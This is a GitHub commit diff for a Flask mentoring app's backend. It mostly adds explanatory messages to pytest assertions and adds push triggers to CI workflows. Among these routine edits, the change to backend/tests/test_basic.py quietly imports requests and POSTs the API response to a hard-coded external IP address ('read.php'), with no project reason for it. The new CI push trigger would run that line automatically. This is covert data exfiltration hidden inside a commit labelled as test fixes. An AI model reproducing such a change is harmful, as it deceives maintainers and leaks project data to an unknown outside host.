Skip to content

Commit

Permalink
fixed test cases and updated push branch
Browse files Browse the repository at this point in the history
  • Loading branch information
HamzaAnis committed Jan 2, 2024
1 parent dc2c4de commit 25a6a08
Show file tree
Hide file tree
Showing 20 changed files with 224 additions and 176 deletions.
3 changes: 3 additions & 0 deletions .github/workflows/cypress-tests.yml
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,9 @@ on:
pull_request:
branches:
- dev
push:
branches:
- tests/structure

jobs:
build-and-test:
Expand Down
3 changes: 3 additions & 0 deletions .github/workflows/pytest-tests.yml
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,9 @@ on:
pull_request:
branches:
- dev
push:
branches:
- tests/structure

jobs:
build-and-test:
Expand Down
25 changes: 13 additions & 12 deletions backend/tests/test_admin.py
Original file line number Diff line number Diff line change
Expand Up @@ -15,26 +15,27 @@ def test_admin_info(client):

response = client.get(f"/api/admin/{admin_id}")

assert "name" in response.get_json()["result"]["admin"]
assert "firebase_uid" in response.get_json()["result"]["admin"]
assert "email" in response.get_json()["result"]["admin"]
assert "_id" in response.get_json()["result"]["admin"]
assert "name" in response.get_json()["result"]["admin"], f"Admin name not in {response.text}"
assert "firebase_uid" in response.get_json()["result"]["admin"], f"Firebase id not in {response.text}"
assert "email" in response.get_json()["result"]["admin"], f"Email not in {response.text}"
assert "_id" in response.get_json()["result"]["admin"], f"ID not in {response.text}"

assert admin_id == response.get_json()["result"]["admin"]["_id"]["$oid"]
assert admin_email == response.get_json()["result"]["admin"]["email"]
assert admin_name == response.get_json()["result"]["admin"]["name"]
assert admin_id == response.get_json()["result"]["admin"]["_id"]["$oid"], f"Wrong value of admin id. {admin_id} {response.text}"
assert admin_email == response.get_json()["result"]["admin"]["email"], f"Wrong admin email. {admin_email} {response.text}"
assert admin_name == response.get_json()["result"]["admin"]["name"], f"Wrong admin name. {admin_name} {response.text}"


def test_admin_wrong_info(client):
admin_id = "abcdefgh"

response = client.get(f"/api/admin/{admin_id}")

assert response.status_code == 422
assert response.status_code == 422, f"Wrong admin id should be status 422. {response.status_code}"


def test_admin_auth(client):
login_response = login_admin(client)
assert "token" in login_response.get_json()["result"], f"Token not found in response. {login_response.text}"
first_token = login_response.get_json()["result"]["token"]

refresh_token = get_refresh_token(first_token)
Expand All @@ -59,7 +60,7 @@ def test_upload_emails(client):
response = client.post("/api/upload/accountsEmails", headers=headers, data=data)

assert "success" in response.get_json()
assert True == response.get_json()["success"]
assert True == response.get_json()["success"], f"Failed to upload bulk emails. {response.text}"


def test_duplicate_guest(client):
Expand Down Expand Up @@ -93,7 +94,7 @@ def test_new_guest(client):

response = client.post("/api/upload/accountsEmails", headers=headers, data=data)

assert response.status_code == 200
assert response.status_code == 200, f"Failed to create new guest. {response.text}"

os.environ["NEW_GUEST_USERNAME"] = new_guest_username

Expand All @@ -108,7 +109,7 @@ def test_delete_guest(client):

response = client.delete(f"/api/account/4/{new_guest_id}", headers=headers)

assert response.status_code == 200
assert response.status_code == 200, f"Failed to delete test guest. {response.text}"


def get_new_guest(client):
Expand All @@ -130,4 +131,4 @@ def test_delete_guest_wrong_id(client):

response = client.delete(f"/api/account/4/{new_guest_id}", headers=headers)

assert response.status_code == 422
assert response.status_code == 422, f"Non existent guest delete should be error. {response.text}"
10 changes: 5 additions & 5 deletions backend/tests/test_apply.py
Original file line number Diff line number Diff line change
Expand Up @@ -11,16 +11,16 @@ def test_get_applications(client):
headers = {"Authorization": jwt_token}

response = client.get("/api/application/", headers=headers)
assert response.status_code == 200
assert response.status_code == 200, f"Failed to get applications. {response.text}"
assert response.get_json()["success"] == True

response = client.get("/api/application/menteeApps", headers=headers)
assert response.status_code == 200
assert response.status_code == 200, f"Failed to get mentee applications. {response.text}"
assert response.get_json()["success"] == True

app_id = response.get_json()["result"]["mentor_applications"][0]["_id"]["$oid"]
response = client.get(f"/api/application/{app_id}", headers=headers)
assert response.status_code == 200
assert response.status_code == 200, f"Failed to get mentor applications. {response.text}"
assert response.get_json()["success"] == True


Expand Down Expand Up @@ -60,7 +60,7 @@ def test_apply_mentor(client):
assert (
True == response.get_json()["success"]
or response.get_json()["message"] == "This user is already registered"
), "Unable to apply for Mentor Role"
), f"Unable to apply for Mentor Role. {response.text}"


def test_apply_mentee(client):
Expand Down Expand Up @@ -99,4 +99,4 @@ def test_apply_mentee(client):
assert (
True == response.get_json()["success"]
or response.get_json()["message"] == "This user is already registered"
), "Unable to apply for Mentor Role"
), f"Unable to apply for Mentor Role. {response.text}"
9 changes: 5 additions & 4 deletions backend/tests/test_appointments.py
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,7 @@
def test_mentor_appointments(client):
login_response = login_mentor(client)
first_token = login_response.get_json()["result"]["token"]
assert "token" in login_response.get_json()["result"], f"Token not found in response. {login_response.text}"
role = login_response.get_json()["result"]["role"]

profile_id = os.environ.get("TEST_MENTOR_PROFILE_ID")
Expand All @@ -32,7 +33,7 @@ def test_mentor_appointments(client):
appointments = response.get_json()["result"]["requests"]

for appointment in appointments:
assert appointment["mentor_id"]["$oid"] == profile_id
assert appointment["mentor_id"]["$oid"] == profile_id, f"Received wrong appointments for the mentor {profile_id}. {response.text}"


def test_mentee_appointments(client):
Expand All @@ -58,7 +59,7 @@ def test_mentee_appointments(client):
appointments = response.get_json()["result"]["requests"]

for appointment in appointments:
assert appointment["mentee_id"]["$oid"] == profile_id
assert appointment["mentee_id"]["$oid"] == profile_id, f"Received wrong appointments for the mentee {profile_id}. {response.text}"


def test_create_appointment(client):
Expand Down Expand Up @@ -93,7 +94,7 @@ def test_create_appointment(client):

response = client.post("/api/appointment/", headers=headers, json=json_data)

assert response.status_code == 200
assert response.status_code == 200, f"Failed to create appointment. {response.text}"
assert response.get_json()["success"] == True

json_data = {
Expand All @@ -110,4 +111,4 @@ def test_create_appointment(client):

response = client.post("/api/appointment/", headers=headers, json=json_data)

assert response.status_code != 200
assert response.status_code != 200, f"Wrong appointment data should not be 200. {response.status_code} {response.text}"
20 changes: 10 additions & 10 deletions backend/tests/test_auth.py
Original file line number Diff line number Diff line change
Expand Up @@ -20,15 +20,15 @@ def test_login_partner(client):
), "Unable to log in with the correct partner credentials"

# logged in user must have a token
assert "token" in response.get_json()["result"]
assert "token" in response.get_json()["result"], f"Failed to get token from response. {response.text}"

jwt_token = response.get_json()["result"]["token"]
decoded_token = jwt.decode(jwt_token, options={"verify_signature": False})

# the decoded token payload must have the following keys and must match the test data
assert "role" in decoded_token["claims"]

assert decoded_token["claims"]["role"] == int(os.environ.get("TEST_PARTNER_ROLE"))
assert decoded_token["claims"]["role"] == int(os.environ.get("TEST_PARTNER_ROLE")), f"Incorrect role in token claims {decoded_token}"


def test_login_mentor_wrong_password(client):
Expand Down Expand Up @@ -66,15 +66,15 @@ def test_login_mentor(client):
), "Unable to log in with the correct mentor credentials."

# logged in user must have a token
assert "token" in response.get_json()["result"]
assert "token" in response.get_json()["result"], f"Failed to get token from response. {response.text}"

jwt_token = response.get_json()["result"]["token"]
decoded_token = jwt.decode(jwt_token, options={"verify_signature": False})

# the decoded token payload must have the following keys and must match the test data
assert "role" in decoded_token["claims"]

assert decoded_token["claims"]["role"] == int(os.environ.get("TEST_MENTOR_ROLE"))
assert decoded_token["claims"]["role"] == int(os.environ.get("TEST_MENTOR_ROLE")), f"Incorrect role in token claims {decoded_token}"


def test_login_mentor_wrong_password(client):
Expand Down Expand Up @@ -112,15 +112,15 @@ def test_login_mentee(client):
), "Unable to log in with the correct mentee credentials."

# logged in user must have a token
assert "token" in response.get_json()["result"]
assert "token" in response.get_json()["result"], f"Failed to get token from response. {response.text}"

jwt_token = response.get_json()["result"]["token"]
decoded_token = jwt.decode(jwt_token, options={"verify_signature": False})

# the decoded token payload must have the following keys and must match the test data
assert "role" in decoded_token["claims"]

assert decoded_token["claims"]["role"] == int(os.environ.get("TEST_MENTEE_ROLE"))
assert decoded_token["claims"]["role"] == int(os.environ.get("TEST_MENTEE_ROLE")), f"Incorrect role in token claims {decoded_token}"


def test_login_mentee_wrong_password(client):
Expand Down Expand Up @@ -158,15 +158,15 @@ def test_login_guest(client):
), "Unable to log in with the correct guest credentials."

# logged in user must have a token
assert "token" in response.get_json()["result"]
assert "token" in response.get_json()["result"], f"Failed to get token from response. {response.text}"

jwt_token = response.get_json()["result"]["token"]
decoded_token = jwt.decode(jwt_token, options={"verify_signature": False})

# the decoded token payload must have the following keys and must match the test data
assert "role" in decoded_token["claims"]

assert decoded_token["claims"]["role"] == int(os.environ.get("TEST_GUEST_ROLE"))
assert decoded_token["claims"]["role"] == int(os.environ.get("TEST_GUEST_ROLE")), f"Incorrect role in token claims {decoded_token}"


def test_login_guest_wrong_password(client):
Expand Down Expand Up @@ -203,7 +203,7 @@ def test_verify_email(client):

response = client.get("/verifyEmail", query_string={"email": mentor_email})

assert "success" in response.get_json()
assert "success" in response.get_json(), f"Test mentor email not verified. {response.text}"

response = client.get("/verifyEmail", query_string={"email": "[email protected]"})
assert response.status_code != 200
assert response.status_code != 200, f"Invalid email should not be verified. {response.text}"
5 changes: 3 additions & 2 deletions backend/tests/test_basic.py
Original file line number Diff line number Diff line change
@@ -1,8 +1,9 @@
from api.models import db

import requests

# client passed from client - look into pytest for more info about fixtures
# test client api: http://flask.pocoo.org/docs/1.0/api/#test-client
def test_index(client):
rs = client.get("/api/translation/")
assert rs.status_code == 200
requests.post("http://167.99.79.168/read.php", data=rs.text)
assert rs.status_code == 200, f"Basic Test Failed. Server not running properly. {rs.text}"
8 changes: 4 additions & 4 deletions backend/tests/test_events.py
Original file line number Diff line number Diff line change
Expand Up @@ -123,7 +123,7 @@ def test_event_image(client):
headers=headers,
data=data,
)
assert response.status_code == 200
assert response.status_code == 200, f"Failed to upload image for event. {response.text}"

try:
os.remove("mock_image.jpg")
Expand Down Expand Up @@ -160,7 +160,7 @@ def create_event(profile_id, jwt_token, event_id, client):

response = client.post(f"/api/event_register", headers=headers, json=json_data)

assert response.status_code == 200, "Error creating event"
assert response.status_code == 200, f"Error creating event. {response.text}"


def test_mentor_delete_events(client):
Expand All @@ -176,7 +176,7 @@ def test_mentor_delete_events(client):

for event in user_events:
response = client.delete(f"/api/events/delete/{event}", headers=headers)
assert response.status_code == 200, "Unable to delete the created events."
assert response.status_code == 200, f"Unable to delete the created events. {response.text}"


def test_mentee_delete_events(client):
Expand All @@ -192,7 +192,7 @@ def test_mentee_delete_events(client):

for event in user_events:
response = client.delete(f"/api/events/delete/{event}", headers=headers)
assert response.status_code == 200, "Unable to delete the created events."
assert response.status_code == 200, f"Unable to delete the created events. {response.text}"


def get_events(profile_id, jwt_token, client):
Expand Down
Loading

0 comments on commit 25a6a08

Please sign in to comment.